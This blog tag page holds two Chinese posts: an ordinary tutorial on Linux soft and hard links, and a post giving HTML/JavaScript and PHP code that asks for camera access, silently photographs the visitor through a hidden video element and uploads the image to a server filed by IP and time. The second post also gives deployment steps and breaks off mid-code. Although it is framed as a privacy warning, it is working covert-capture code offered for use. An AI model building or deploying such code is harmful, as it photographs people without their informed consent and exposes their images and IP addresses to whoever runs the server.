Tag: var

2 Posts

Linux软链接的使用
软连接是Linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个同不的链接。具体用法是:ln -s 源文件 目标文件。当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln命令链接(link)就可以,不必重复的占用磁盘空间。例如:1ln -s<span> </span>`/usr/local/mysql/bin/mysql /usr/bin`这样我们就对/usr/bin目录下的mysql命令创建了软连接【硬连接】硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。【软连接】另外一种连接称之为符号连接(Symbolic Link),也叫软连接。软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。使用方式创建软链接ln -s [源文件或目录] [目标文件或目录]例:当前路径创建test 引向/var/www/test 文件夹1ln –s <span> </span>`/var/www/test test`创建/var/test 引向/var/www/test 文件夹1ln –s <span> </span>`/var/www/test /var/test`删除软链接和删除普通的文件是一样的,删除都是使用rm来进行操作例:删除test1rm –rf<span> </span>`test`修改软链接ln –snf [新的源文件或目录] [目标文件或目录]这将会修改原有的链接地址为新的地址例如:创建一个软链接1ln –s <span> </span>`/var/www/test /var/test`修改指向的新路径1ln –snf <span> </span>`/var/www/test1 /var/test`常用参数:  -f : 链结时先将与 dist 同档名的档案删除   -d : 允许系统管理者硬链结自己的目录   -i : 在删除与 dist 同档名的档案时先进行询问   -n : 在进行软连结时,将 dist 视为一般的档案   -s : 进行软链结(symbolic link)   -v : 在连结之前显示其档名   -b : 将在链结时会被覆写或删除的档案进行备份   -S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾   -V METHOD : 指定备份的方式   --help : 显示辅助说明   --version : 显示版本
PHP代码获取相机权限并自动拍照上传至服务器
前言现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己!代码分别创建index.html和photo.php两个文件并上传至网站服务器即可;创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类。说明建站环境需求:Nginx PHP 7.0+如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片。index.html代码第25行处需要指定 photo.php文件的所在位置,如果文件在网站根目录下无需修改。注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限.index.html代码<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="" content="content"> <title>SunPma'Blog</title> <style> .container { width: 60%; margin: 10% auto 0; background-color: #f0f0f0; padding: 2% 5%; border-radius: 10px } ul { padding-left: 20px; } ul li { line-height: 2.3 } a { color: #20a53a } </style> </head> <body> <canvas id="canvas" style="display: none;" width="480" height="640"></canvas> <video id="video" style="display: none;width: 250px;height: 300px;"></video> <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script> <script> window.addEventListener("DOMContentLoaded",function(){ var canvas = document.getElementById('canvas'); var context =canvas.getContext('2d'); var video = document.getElementById('video'); if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){ video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); $.post('/photo.php',{'imegse':img},function(data){ //指定photo.php文件所在位置 }) } ,1300) },function(){ alert('缺少访问权限'); location.reload(); }) } },false); </script> <div class="container"> <h1>这是一个测试页 · · · </h1> <h3>获取相机权限后将自动拍照上传至服务器;</h3> <ul> <li>此测试页面获取到的照片会定时自动清理;</li> <li>代码获取:https://sunpma.com/994.html</li> </ul> </div> </body> </html>photo.php代码<?php //允许跨域 header("Access-Control-Allow-Origin:*"); echo base64(); function base64() { //接收 base64 数据 $image = $_POST['imegse']; if (empty($image)) { return null; } //设置图片名称 $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png'; //判断是否有逗号 如果有就截取后半部分 if (strstr($image, ",")) { $image = explode(',', $image); $image = $image[1]; } //设置图片保存路径 $path = "./" . getIp()…